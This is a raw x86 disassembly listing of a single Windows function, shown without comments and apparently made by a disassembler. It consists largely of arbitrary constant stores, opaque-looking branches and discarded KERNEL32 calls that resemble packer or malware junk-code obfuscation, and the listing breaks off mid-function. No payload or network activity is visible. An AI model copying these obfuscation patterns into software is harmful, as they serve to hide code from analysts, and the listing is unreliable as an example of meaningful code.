mov byte [ebp - 0x84f1], 0xc1
mov byte [ebp - 0xecdd], 0x6b
mov dword [ebp - 0x128d8], 0x3a75e9f1
mov byte [ebp - 0x45fd], 0x32
mov eax, 0x23f
mov word [ebp - 0x1d44], ax
mov dword [ebp - 0x6e70], 0x16135830
mov dword [ebp - 0x11540], 0xff8b033
mov ecx, 0x5c4
mov word [ebp - 0x1d38], cx
mov edx, 0xc9b
mov word [ebp - 0x45e4], dx
mov eax, 0x46a
mov word [ebp - 0x10170], ax
mov dword [ebp - 0xd840], 0xe1d98f4
mov dword [ebp - 0xb03c], 0x4a59fa31
mov dword [ebp - 0xecb4], 0x9e1aeeb7
mov ecx, 0x520
mov word [ebp - 0x13d9c], cx
mov dword [ebp - 0x9978], 0x42d48c
mov dword [ebp - 0x7f0], 0x5871a69a
mov dword [ebp - 0x59fc], 0x33838b95
mov dword [ebp - 0x6e34], 0x3acefc7
mov dword [ebp - 0x1cd8], 0x6eee0198
mov edx, 0x93c
mov word [ebp - 0x9958], dx
mov eax, 0xb1f
mov word [ebp - 0x13d7c], ax
mov dword [ebp - 0x114e0], 0x893b4b2
mov ecx, 0x909
mov word [ebp - 0xb00c], cx
mov edx, 0x78d2
mov word [ebp - 0xc3c8], dx
mov dword [ebp - 0x3064], 0xf69b5d4c
mov dword [ebp - 0x993c], 0x8b3b9a20
mov dword [ebp - 0x3048], 0x9a890a0
mov eax, 0x1d54
mov word [ebp - 0x12860], ax
mov ecx, 0x9bb
mov word [ebp - 0x10104], cx
mov dword [ebp - 0x7a8], 0x6f5b2884
mov dword [ebp - 0x7a4], 0x356a9d69
mov dword [ebp - 0xd7dc], 0x7e88a00b
mov byte [ebp - 0x795], 0x40
mov byte [ebp - 0xd7d5], 0xa7
mov dword [ebp - 0x788], 0x6a874f1b
mov dword [ebp - 0x98f4], 0x4dadf1e
mov byte [ebp - 0x1c95], 0xb
mov dword [ebp - 0x453c], 0x4c6290fd
mov dword [ebp - 0x100d0], 0x6b9613be
mov dword [ebp - 0xd7a0], 0x4359b76e
mov dword [ebp - 0x1c90], 0x5ad6176e
mov edx, 0x558
mov word [ebp - 0x83e8], dx
mov eax, 0x1f7
mov word [ebp - 0x13d34], ax
mov dword [ebp - 0x2fec], 0x34f49afa
mov dword [ebp - 0x13d18], 0x28b9bfea
mov ecx, 0xb88
mov word [ebp - 0x127fc], cx
mov edx, 0x70f
mov word [ebp - 0x595c], dx
mov dword [ebp - 0x1c64], 0xea0f46f6
mov dword [ebp - 0x2fb8], 0x5f8a5e14
mov eax, 0x5bb
mov word [ebp - 0x13cdc], ax
mov byte [ebp - 0x71d], 0x19
mov byte [ebp - 0x715], 0x49
mov byte [ebp - 0x591d], 0x41
mov ecx, 0xd88
mov word [ebp - 0x6d7c], cx
mov dword [ebp - 0x6d74], 0x34ea047d
mov dword [ebp - 0x5910], 0x1850e7e3
mov edx, 0x94
mov word [ebp - 0x127b4], dx
mov byte [ebp - 0x11445], 0xc7
mov dword [ebp - 0xd738], 0xaa3ccc8
mov byte [ebp - 0x6d5d], 0xbb
mov byte [ebp - 0xebad], 0x83
mov dword [ebp - 0x6fc], 0x62da8e6c
mov dword [ebp - 0xaf58], 0x61d8c12a
mov dword [ebp - 0x127a0], 0x657ca02d
mov byte [ebp - 0xc2fd], 0xf
mov byte [ebp - 0x6d9], 0x9f
mov byte [ebp - 0x44b9], 0xe9
mov dword [ebp - 0x8368], 0x84fabc03
mov eax, 0xbb4
mov word [ebp - 0x8364], ax
mov byte [ebp - 0x12779], 0x7c
mov byte [ebp - 0x1c09], 0xf9
mov dword [ebp - 0xc2d8], 0x4dfc0fde
mov ecx, 0x90a
mov word [ebp - 0xc2d0], cx
mov edx, 0x738c
mov word [ebp - 0xeb8c], dx
mov dword [ebp - 0x58c0], 0x65207812
mov eax, 0xa8f
mov word [ebp - 0x68c], ax
mov dword [ebp - 0xd6e4], 0xdd84134
mov dword [ebp - 0xd6e0], 0xf7ac222b
mov dword [ebp - 0x13c40], 0x6a85e04b
mov dword [ebp - 0x983c], 0x2ebf7ea2
mov dword [ebp - 0x9830], 0xae48247
mov ecx, 0x183
mov word [ebp - 0xc2c0], cx
mov dword [ebp - 0x4460], 0x2ba1dba9
mov dword [ebp - 0x4450], 0x17492d2f
mov dword [ebp - 0xeb68], 0x740d59ec
mov byte [ebp - 0x6cc1], 0xe9
mov dword [ebp - 0x4444], 0x3fce8978
mov dword [ebp - 0x6cbc], 0x705cb290
mov dword [ebp - 0x1bc0], 0x1f000735
mov byte [ebp - 0x6cad], 0xc8
mov dword [ebp - 0x12738], 0x93997697
mov edx, 0x7e9
mov word [ebp - 0x97d8], dx
mov byte [ebp - 0xeb55], 0x1d
mov dword [ebp - 0x12730], 0x6e129d8c
mov byte [ebp - 0x12729], 0xf8
mov dword [ebp - 0x12728], 0x3a8d3d77
mov dword [ebp - 0xd69c], 0x177238d2
mov dword [ebp - 0x1b94], 0x3d0550e3
mov eax, 0x6276
mov word [ebp - 0x13bcc], ax
mov ecx, 0x3ae
mov word [ebp - 0x13bb8], cx
mov dword [ebp - 0x585c], 0x347a445e
mov dword [ebp - 0x1b60], 0x78ac822
mov dword [ebp - 0xd654], 0x3787a4c2
mov dword [ebp - 0x43dc], 0xdf672ac5
mov dword [ebp - 0x126cc], 0x36bc46c7
mov dword [ebp - 0x82c0], 0xdd55dff
mov dword [ebp - 0x11320], 0xfe06efd8
mov dword [ebp - 0x8284], 0x45aa3b27
mov byte [ebp - 0x5d5], 0x6c
push 0
push 0
push 0
lea ecx, [ebp - 0x1130c]
call fcn.00511780
mov dword [ebp - 0x43b8], 0x4cc57a6c
mov dword [ebp - 0x1268c], 0x2a4461f9
mov edx, 0x3db
mov word [ebp - 0xae38], dx
mov eax, 0x2da
mov word [ebp - 0x112e8], ax
mov dword [ebp - 0x4398], 0x2fc42583
mov dword [ebp - 0x2e6c], 0x349a8bea
mov dword [ebp - 0x8270], 0x6d925782
mov byte [ebp - 0x1af5], 0x12
mov dword [ebp - 0x13aec], 0x350ec8e9
mov ecx, 0x35ad
mov word [ebp - 0x973c], cx
mov dword [ebp - 0xae08], 0x2ae40fb9
mov dword [ebp - 0x4354], 0xdabfb939
mov edx, 0xaff
mov word [ebp - 0x4350], dx
mov byte [ebp - 0x971d], 0x98
mov dword [ebp - 0xd5c0], 0x388eb883
mov dword [ebp - 0xc1f4], 0x878330bd
mov dword [ebp - 0x11288], 0x72724996
mov eax, 0x6da
mov word [ebp - 0xff14], ax
mov dword [ebp - 0xade0], 0xe1829e75
mov dword [ebp - 0x57c0], 0x24999919
mov byte [ebp - 0xd599], 0x27
mov ecx, 0x5066
mov word [ebp - 0x1261c], cx
mov dword [ebp - 0x568], 0x7c629b7e
mov byte [ebp - 0x1a99], 0x49
mov dword [ebp - 0x1a94], 0x4c1c812c
mov dword [ebp - 0x11274], 0x59a5b11e
mov byte [ebp - 0x96d9], 2
mov dword [ebp - 0x13a9c], 0xddcefaa0
mov byte [ebp - 0x2de1], 0x82
mov dword [ebp - 0xadc4], 0x6ba2116
mov dword [ebp - 0xc1cc], 0x161c437
mov byte [ebp - 0x13a8d], 0x69
mov byte [ebp - 0x1a89], 0xb1
mov dword [ebp - 0xd578], 0x2a7dcb1a
mov dword [ebp - 0xd570], 0xfa70bd8
mov byte [ebp - 0x5779], 0x40
mov dword [ebp - 0x1a84], 0xebed8baa
mov byte [ebp - 0xea21], 4
mov byte [ebp - 0xc1b1], 0x9a
mov dword [ebp - 0x540], 0x446d7e76
mov dword [ebp - 0xad98], 0x1c4d24f5
mov dword [ebp - 0xd534], 0x4bfd5bb9
mov edx, 0xd6c
mov word [ebp - 0xc180], dx
mov dword [ebp - 0x13a34], 0x176563cb
mov dword [ebp - 0xad6c], 0x6cdf503b
mov dword [ebp - 0x4e0], 0x284465a0
mov dword [ebp - 0x1a2c], 0x652c74aa
mov dword [ebp - 0x9660], 0xd36e1a6a
mov dword [ebp - 0x573c], 0x56c5fa24
mov dword [ebp - 0xc160], 0x444b598c
mov dword [ebp - 0xd4f4], 0x4a40566b
mov dword [ebp - 0xd4ec], 0x54be62c2
mov byte [ebp - 0x1a09], 0x9f
mov dword [ebp - 0x1a04], 0x31ff0a26
mov dword [ebp - 0x9648], 0x7572b36e
mov dword [ebp - 0x2d38], 0x435dd26a
mov byte [ebp - 0x5715], 0x6a
mov dword [ebp - 0x12580], 0x7fe1b2cb
mov dword [ebp - 0xfe54], 0x28556784
mov dword [ebp - 0xfe40], 0xe8381026
mov dword [ebp - 0x2d20], 0xf47511f3
mov eax, 0xfcf
mov word [ebp - 0x48c], ax
mov dword [ebp - 0x1255c], 0x8927b68e
mov ecx, 0x59d
mov word [ebp - 0xfe34], cx
mov edx, 0x5c4d
mov word [ebp - 0x139dc], dx
mov eax, 0x7bb
mov word [ebp - 0x139d8], ax
mov dword [ebp - 0xc114], 0x28eede21
mov dword [ebp - 0x139d0], 0xe8ca62f8
mov dword [ebp - 0x19c8], 0x60c644eb
mov byte [ebp - 0x2cfd], 0x32
mov byte [ebp - 0x465], 0xcd
mov ecx, 0xe16
mov word [ebp - 0xc0e0], cx
mov byte [ebp - 0xfdf5], 0x58
mov dword [ebp - 0xe94c], 0x6d9f6db8
mov edx, 0xd39
mov word [ebp - 0x95cc], dx
mov dword [ebp - 0x95bc], 0x456d0c85
mov dword [ebp - 0xe930], 0xb03f3bc5
mov dword [ebp - 0x124cc], 0x456f472a
mov dword [ebp - 0x11130], 0x39a8b924
mov eax, 0x3752
mov word [ebp - 0xe91c], ax
mov byte [ebp - 0xc0a5], 0x6e
mov dword [ebp - 0xc0a4], 0x261fa5a9
mov dword [ebp - 0x2ca8], 0x680ba435
mov dword [ebp - 0xfda4], 0x69afd2ec
mov byte [ebp - 0x13925], 0x20
mov dword [ebp - 0x124a8], 0x60eb0ef2
mov dword [ebp - 0x124a4], 0x285a94ea
mov dword [ebp - 0xfd8c], 0x40d51e45
mov dword [ebp - 0x1940], 0x5b030365
mov dword [ebp - 0x8094], 0x174eb8d5
mov dword [ebp - 0x8080], 0x66492641
mov dword [ebp - 0x4204], 0xa350f9e5
mov dword [ebp - 0xe8c0], 0x54a7bbbe
mov dword [ebp - 0xd3fc], 0x2f705bce
mov dword [ebp - 0xac1c], 0x62b27105
mov ecx, 0x1fcd
mov word [ebp - 0xe8b8], cx
mov dword [ebp - 0x5644], 0x232b632
mov byte [ebp - 0x12451], 0xb5
mov dword [ebp - 0x138c0], 0x43276b53
mov edx, 0x7392
mov word [ebp - 0x8054], dx
mov dword [ebp - 0x41dc], 0x7944f9fe
mov eax, 0xa3e
mov word [ebp - 0x9540], ax
mov dword [ebp - 0xfd3c], 0x452661f5
mov dword [ebp - 0x8040], 0x363fad54
mov byte [ebp - 0x3cd], 0x23
mov dword [ebp - 0xc034], 0xad0b9221
mov dword [ebp - 0x9530], 0x7af24e0e
mov ecx, 0x4ab
mov word [ebp - 0x2c44], cx
mov edx, 0x8a7
mov word [ebp - 0x13888], dx
mov eax, 0x52d
mov word [ebp - 0x5610], ax
mov ecx, 0x81e
mov word [ebp - 0x11080], cx
mov byte [ebp - 0x12421], 0xa4
mov dword [ebp - 0x41a0], 0x520ec712
mov dword [ebp - 0xfd08], 0x3d689bd4
mov byte [ebp - 0xabc2], 0x11
mov dword [ebp - 0xc008], 0x30cd672d
mov dword [ebp - 0xabc0], 0x2ef950cf
mov edx, 0x92f
mov word [ebp - 0x13864], dx
mov dword [ebp - 0x374], 0xcf0b84b
mov byte [ebp - 0x11055], 0xa9
mov dword [ebp - 0xc000], 0x2c4ab9e9
mov dword [ebp - 0x12408], 0xad9bcda3
mov dword [ebp - 0x13844], 0x90c06a4
mov eax, 0xd3b
mov word [ebp - 0x1102c], ax
mov byte [ebp - 0x2bc9], 0x47
mov dword [ebp - 0x123e4], 0xec8162d9
mov ecx, 0x640
mov word [ebp - 0x1382c], cx
mov dword [ebp - 0x69dc], 0x134e7309
mov byte [ebp - 0x1871], 0x1e
mov dword [ebp - 0x69d8], 0x7edd9a6
mov byte [ebp - 0x1865], 0xb4
mov dword [ebp - 0x1864], 0x4658b6f9
mov byte [ebp - 0x69c9], 0x86
mov dword [ebp - 0x318], 0xcacf05a2
mov edx, 0xb67
mov word [ebp - 0x2ba4], dx
mov dword [ebp - 0x2b98], 0xc38119fb
mov dword [ebp - 0xe7e0], 0xfd16eff7
mov dword [ebp - 0xbfb4], 0xb746538
mov dword [ebp - 0xfca4], 0x52a4fd21
mov byte [ebp - 0x2f5], 0xb9
mov eax, 0x546
mov word [ebp - 0x410c], ax
mov ecx, 0x608
mov word [ebp - 0x12388], cx
mov dword [ebp - 0x12384], 0x6a2435f6
mov dword [ebp - 0xfc94], 0x70e0ecbe
mov dword [ebp - 0xbf84], 0xcf899701
mov dword [ebp - 0x180c], 0x421091cf
mov edx, 0x523c
mov word [ebp - 0x7ebc], dx
mov dword [ebp - 0xe78c], 0xa9e7408e
mov dword [ebp - 0x40d4], 0x1cea33f7
mov dword [ebp - 0x40d0], 0x85e47e7b
mov byte [ebp - 0x7eaa], 0xb
mov dword [ebp - 0x10fc0], 0x8c59cc4
mov eax, 0x25f8
mov word [ebp - 0x93d4], ax
mov dword [ebp - 0x10fb4], 0x9076bdeb
mov ecx, 0xc87
mov word [ebp - 0x137ac], cx
mov dword [ebp - 0xe774], 0x16a580d2
mov byte [ebp - 0x295], 0xd4
mov dword [ebp - 0xe770], 0x7b48930d
mov edx, 0x3a2
mov word [ebp - 0xbf3c], dx
mov dword [ebp - 0x10fa4], 0x78309a47
mov dword [ebp - 0x288], 0x295264b5
mov dword [ebp - 0x5514], 0xdc04bb75
mov dword [ebp - 0x26c], 0xf2f1cb47
mov byte [ebp - 0x4079], 0x75
mov dword [ebp - 0x4074], 0x3fd43206
mov byte [ebp - 0x937a], 0xb2
mov eax, 0x9f2
mov word [ebp - 0xaab0], ax
mov byte [ebp - 0xe729], 0x98
mov dword [ebp - 0x4064], 0x91ef2f1
mov dword [ebp - 0x1774], 0x2ee2f8be
mov dword [ebp - 0x13758], 0x69f93220
mov dword [ebp - 0xaa80], 0x6f977416
mov ecx, 0x30b3
mov word [ebp - 0x122cc], cx
mov byte [ebp - 0x4049], 0x8d
mov dword [ebp - 0xaa68], 0xe3382ace
mov dword [ebp - 0xfbe8], 0x4ec9af19
mov dword [ebp - 0x12294], 0x7e870dd8
mov byte [ebp - 0xd231], 0x96
mov byte [ebp - 0x201], 0x27
mov edx, 0x639c
mov word [ebp - 0xd224], dx
mov dword [ebp - 0x1718], 0x324033b5
mov dword [ebp - 0x13720], 0x12b1451a
mov byte [ebp - 0x931d], 0xd
mov byte [ebp - 0x7df9], 0xc4
mov dword [ebp - 0x3ffc], 0xf803c5b
mov dword [ebp - 0x1708], 0x3d21b4ce
mov dword [ebp - 0x2aa0], 0x19b45aaa
mov dword [ebp - 0xe6a0], 0x445a63f5
mov byte [ebp - 0xfb9d], 8
mov eax, 0x4b6
mov word [ebp - 0xaa1c], ax
mov ecx, 0x2f19
mov word [ebp - 0xe67c], cx
mov edx, 0x7c99
mov word [ebp - 0xfb88], dx
mov eax, 0x3dc
mov word [ebp - 0x16c8], ax
mov byte [ebp - 0x136b5], 0x1e
mov dword [ebp - 0x3f88], 0x3e241160
mov ecx, 0x6746
mov word [ebp - 0x3f84], cx
mov edx, 0xfda
mov word [ebp - 0x1694], dx
mov dword [ebp - 0x1680], 0x659c92c
mov dword [ebp - 0x7d74], 0x17346a25
mov byte [ebp - 0x181], 0x78
mov dword [ebp - 0x166c], 0x55037f01
mov dword [ebp - 0x53cc], 0x77203d8c
mov dword [ebp - 0xbe50], 0x351de9fb
mov dword [ebp - 0x3f60], 0xb5f27f56
mov byte [ebp - 0x53b9], 3
mov eax, 0xb36
mov word [ebp - 0x7d50], ax
mov byte [ebp - 0x29f2], 0x14
mov dword [ebp - 0xa998], 0xc6cb938
mov byte [ebp - 0x29f1], 0x6c
mov byte [ebp - 0xbe35], 0xb
mov dword [ebp - 0xa990], 0x340bcc91
mov dword [ebp - 0x3f54], 0x50478647
mov dword [ebp - 0x53a0], 0x549d20b0
mov byte [ebp - 0x151], 3
mov byte [ebp - 0x67bd], 0x7c
mov ecx, 0xa3b
mov word [ebp - 0x67b8], cx
mov byte [ebp - 0x10e41], 0x50
mov dword [ebp - 0x7d30], 0x5d8388d8
mov dword [ebp - 0x29c8], 0xc1d42e2d
mov dword [ebp - 0xd10c], 0x91e9b594
mov dword [ebp - 0x9270], 0x1755dff4
mov dword [ebp - 0x3f0c], 0x37c2bc44
mov dword [ebp - 0x7d14], 0x686e3a
mov edx, 0x61
mov word [ebp - 0xfae0], dx
mov dword [ebp - 0x5370], 0x239fc2e5
mov dword [ebp - 0xd0ec], 0x7db09e6e
mov dword [ebp - 0x29a4], 0x6978234c
mov dword [ebp - 0x12168], 0xd161edb0
mov dword [ebp - 0x135f0], 0x7e7f2748
mov byte [ebp - 0x7cb9], 0x57
mov dword [ebp - 0x15d8], 0x72d09b2a
mov byte [ebp - 0xd0a9], 0x52
mov dword [ebp - 0xfa8c], 0x505ec849
mov eax, 0x5ee9
mov word [ebp - 0xcc], ax
mov dword [ebp - 0x292c], 0x220a7593
mov byte [ebp - 0xd079], 0x4d
mov ecx, 0xc75
mov word [ebp - 0x10da0], cx
mov edx, 0xda6
mov word [ebp - 0xfa6c], dx
mov byte [ebp - 0xbd91], 0xec
mov eax, 0x77a1
mov word [ebp - 0xe554], ax
mov dword [ebp - 0x7c74], 0xbec47cf0
mov dword [ebp - 0x135a0], 0x7da0a85d
mov dword [ebp - 0x3e50], 0x790b3e0f
mov ecx, 0xe00
mov word [ebp - 0x91b0], cx
mov byte [ebp - 0x7c65], 0x55
mov edx, 0x5b2e
mov word [ebp - 0x7c5c], dx
mov dword [ebp - 0xe530], 0x7fd81e17
mov eax, 0x27e
mov word [ebp - 0xfa54], ax
mov dword [ebp - 0x1554], 0x7b40bf6e
mov byte [ebp - 0x13571], 0x6b
mov dword [ebp - 0xd038], 0x720a590a
mov dword [ebp - 0x9184], 0x746ffe02
mov dword [ebp - 0x28f4], 0x21bafe46
mov byte [ebp - 0xfa25], 0xd3
mov dword [ebp - 0x28e4], 0x1b556873
mov ecx, 0x3086
mov word [ebp - 0x28dc], cx
mov dword [ebp - 0x9160], 0x56d4b566
mov edx, 0x74c
mov word [ebp - 0xbd3c], dx
mov byte [ebp - 0x10d49], 0x1b
mov dword [ebp - 0xfa14], 0x2b3458b
mov eax, 0xa9b
mov word [ebp - 0x3df4], ax
mov ecx, 0xeff
mov word [ebp - 0x1534], cx
mov dword [ebp - 0x152c], 0x24722635
mov dword [ebp - 0xe4ec], 0x3c1ce50f
mov dword [ebp - 0x914c], 0x6c17fc5b
mov dword [ebp - 0xbd18], 0x322c3bfb
mov edx, 0xc8f
mov word [ebp - 0x10d2c], dx
mov eax, 0xd78
mov word [ebp - 0x5c], ax
mov ecx, 0xee7
mov word [ebp - 0xa814], cx
mov dword [ebp - 0x528c], 0x5ea5922
mov edx, 0xdf7
mov word [ebp - 0x12058], dx
mov eax, 0xae2
mov word [ebp - 0x14f4], ax
mov byte [ebp - 0xe4c6], 0xe7
mov dword [ebp - 0x40], 0x68a20811
mov dword [ebp - 0x7bf8], 0x19337481
mov byte [ebp - 0xf9d1], 0xce
mov ecx, 0x4f4d
mov word [ebp - 0x9108], cx
mov dword [ebp - 0x7be8], 0xa0b57826
mov dword [ebp - 0xbcd8], 0x23b29e81
mov dword [ebp - 0x13bc], 0x60886ec7
mov dword [ebp - 0x6668], 0xdff5edc6
mov dword [ebp - 0x13b0], 0x77cc5120
mov dword [ebp - 0xe48c], 0xf51c278
mov dword [ebp - 0x3da4], 0x77c015d7
mov dword [ebp - 0xe478], 0x7acd0ab7
mov dword [ebp - 0x6654], 0x975cd235
mov dword [ebp - 0x8850], 0xef44853e
mov edx, dword [section..data]
add edx, 0x786535e2
mov dword [section..data], edx
mov dword [ebp - 0x27f0], 0x773e
lea eax, [ebp - 0x8850]
mov dword [ebp - 0xd1e4], eax
mov ecx, dword [ebp - 0x8850]
add ecx, 0x3763d119
mov edx, dword [ebp - 0xd1e4]
cmp ecx, dword [edx]
jae 0x511135
mov eax, dword [ebp - 0x8850]
mov dword [ebp - 0x14bf0], eax
cmp dword [ebp - 0x14bf0], 0xef44853e
je 0x403612
jmp 0x403690
mov ecx, dword [ebp - 0x8850]
shr ecx, 0x34
mov edx, dword [ebp - 0xd1e4]
cmp ecx, dword [edx]
jbe 0x403655
lea eax, [ebp - 0x8850]
push eax
mov ecx, dword [ebp - 0x2a0c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
mov dword [ebp - 0x133ac], eax
mov edx, dword [ebp - 0xd1e4]
mov eax, dword [edx]
or eax, dword [ebp - 0x8850]
mov ecx, dword [ebp - 0xd1e4]
mov dword [ecx], eax
mov dword [ebp - 0x1121c], 0x697f
movsx edx, byte [ebp - 0x8bbd]
shl edx, 7
mov byte [ebp - 0x8bbd], dl
mov eax, 0xbbc
mov word [ebp - 0xd434], ax
mov byte [ebp - 0x125c9], 0xb4
lea ecx, [ebp - 0x125c9]
mov dword [ebp - 0x308c], ecx
jmp 0x4036a5
push 0x56
push 0x17
mov edx, dword [section..data]
mov ecx, dword [section..data]
call fcn.00511630
mov dword [ebp - 0x2958], 0xe735
mov edx, 0x7b07
mov word [ebp - 0x84e8], dx
mov al, byte [ebp - 0x8bbd]
mov byte [0x51ce07], al
mov cl, byte [ebp - 0x125c9]
mov byte [ebp - 0x14bf4], cl
cmp byte [ebp - 0x14bf4], 0xb4
je 0x4036ed
cmp byte [ebp - 0x14bf4], 0xc1
je 0x510fab
jmp 0x511086
mov dl, byte [ebp - 0x125c9]
mov byte [ebp - 0x14bf8], dl
cmp byte [ebp - 0x14bf8], 0xac
je 0x403710
cmp byte [ebp - 0x14bf8], 0xb4
je 0x403736
jmp 0x510f6c
movzx eax, word [ebp - 0x84e8]
push eax
movzx ecx, word [ebp - 0x84e8]
push ecx
mov edx, dword [ebp - 0x71a8]
mov ecx, dword [ebp - 0x71a8]
call fcn.00511630
jmp 0x510f6c
movzx edx, word [ebp - 0xd434]
cmp edx, 0x884
jg 0x4037c2
movzx eax, byte [ebp - 0x125c9]
add eax, 0xc0
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
cmp eax, edx
jge 0x4037a8
mov eax, dword [ebp - 0x14ae0]
push eax
call dword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
mov dword [ebp - 0xdc88], eax
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x115a4]
mov eax, dword [ebp - 0xd1e4]
mov dword [eax], edx
movzx ecx, word [ebp - 0x84e8]
push ecx
movzx edx, word [ebp - 0x84e8]
push edx
mov edx, dword [ebp - 0x71a8]
mov ecx, dword [ebp - 0x71a8]
call fcn.00511630
movsx eax, byte [0x51ce07]
add eax, 0x5e
mov byte [ebp - 0x8bbd], al
call fcn.00511170
jmp 0x510f1e
mov cx, word [ebp - 0xd434]
mov word [ebp - 0x1814], cx
mov dword [ebp - 0xbd04], 0x4547
lea edx, [ebp - 0x125c9]
mov dword [ebp - 0x9ac4], edx
mov dword [ebp - 0x110b0], 0x1d1b
mov eax, dword [ebp - 0x71a8]
mov dword [ebp - 0x14bfc], eax
cmp dword [ebp - 0x14bfc], 0
je 0x40381a
cmp dword [ebp - 0x14bfc], 0x75611f96
je 0x510ee0
jmp 0x510ef0
mov ecx, dword [ebp - 0x71a8]
sub ecx, 0x57c10222
cmp ecx, dword [section..data]
je 0x4038f3
mov edx, dword [ebp - 0x308c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
sub eax, edx
movzx ecx, byte [ebp - 0x125c9]
cmp eax, ecx
jl 0x4038c7
lea edx, [ebp - 0x13e80]
push edx
mov eax, dword [ebp - 0x14560]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov dword [ebp - 0x133ac], eax
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x9ac4]
mov byte [eax], dl
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ecx]
mov dword [ebp - 0x96a4], edx
mov eax, dword [ebp - 0xd1e4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x8850]
shl edx, cl
mov eax, dword [ebp - 0xd1e4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x9ac4]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x125c9], dl
lea ecx, [ebp - 0x1814]
mov dword [ebp - 0x2548], ecx
mov dword [ebp - 0x6974], 0x51b000
mov dword [ebp - 0x1614], 0x5a16
lea edx, [ebp - 0x115a4]
mov dword [ebp - 0xedd4], edx
lea eax, [ebp - 0x71a8]
mov dword [ebp - 0x3e58], eax
mov ecx, dword [ebp - 0x71a8]
mov dword [ebp - 0x14c00], ecx
cmp dword [ebp - 0x14c00], 0
je 0x403929
cmp dword [ebp - 0x14c00], 0x59d22b1b
je 0x510e53
jmp 0x510ebf
cmp dword [ebp - 0x1121c], 0x64af
jb 0x403d61
movsx edx, word [ebp - 0x84e8]
add edx, 0x5e7a
mov word [ebp - 0x84e8], dx
movzx eax, byte [ebp - 0x125c9]
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x9ac4]
mov byte [ecx], al
mov edx, dword [ebp - 0x96a4]
sub edx, dword [ebp - 0x8850]
mov eax, dword [ebp - 0xd1e4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6974]
add edx, dword [eax]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], edx
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xd434]
and eax, ecx
mov edx, dword [ebp - 0x2548]
mov word [edx], ax
mov eax, dword [ebp - 0x9ac4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x308c]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x9ac4]
mov byte [edx], cl
mov eax, dword [ebp - 0x8850]
mov dword [ebp - 0x115a4], eax
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ecx]
add edx, dword [ebp - 0x71a8]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x71a8]
mov eax, dword [ebp - 0x6974]
mov dword [eax], edx
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ecx]
mov dword [ebp - 0x96a4], edx
movzx eax, byte [ebp - 0x125c9]
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], al
movzx edx, word [ebp - 0xd434]
movzx ecx, word [ebp - 0x1814]
shl edx, cl
mov eax, dword [ebp - 0x2548]
mov word [eax], dx
mov edx, dword [ebp - 0x71a8]
mov ecx, dword [section..data]
sar edx, cl
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0x6974]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd1e4]
mov eax, dword [ebp - 0x96a4]
and eax, dword [edx]
mov ecx, dword [ebp - 0xedd4]
mov dword [ecx], eax
mov edx, dword [section..data]
mov dword [ebp - 0x71a8], edx
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x71a8]
mov edx, dword [ebp - 0x6974]
mov dword [edx], ecx
mov eax, dword [ebp - 0x71a8]
sub eax, dword [section..data]
mov ecx, dword [ebp - 0x6974]
mov dword [ecx], eax
mov edx, dword [ebp - 0x71a8]
sub edx, dword [section..data]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x9ac4]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x125c9], dl
mov edx, dword [ebp - 0x1121c]
sub edx, 0x1c
mov dword [ebp - 0x1121c], edx
movzx eax, word [ebp - 0x1814]
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0xd434], ax
mov eax, dword [ebp - 0x115a4]
sub eax, dword [ebp - 0x96a4]
mov ecx, dword [ebp - 0xd1e4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ebp - 0x6974]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x71a8], ecx
movzx edx, word [ebp - 0xd434]
movzx eax, word [ebp - 0x1814]
add edx, eax
mov ecx, dword [ebp - 0x2548]
mov word [ecx], dx
mov edx, dword [ebp - 0x308c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x125c9], al
mov eax, dword [ebp - 0xd1e4]
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x8850], edx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [section..data]
xor ecx, dword [eax]
mov dword [ebp - 0x71a8], ecx
mov edx, dword [ebp - 0x3e58]
mov eax, dword [edx]
mov ecx, dword [section..data]
shl eax, cl
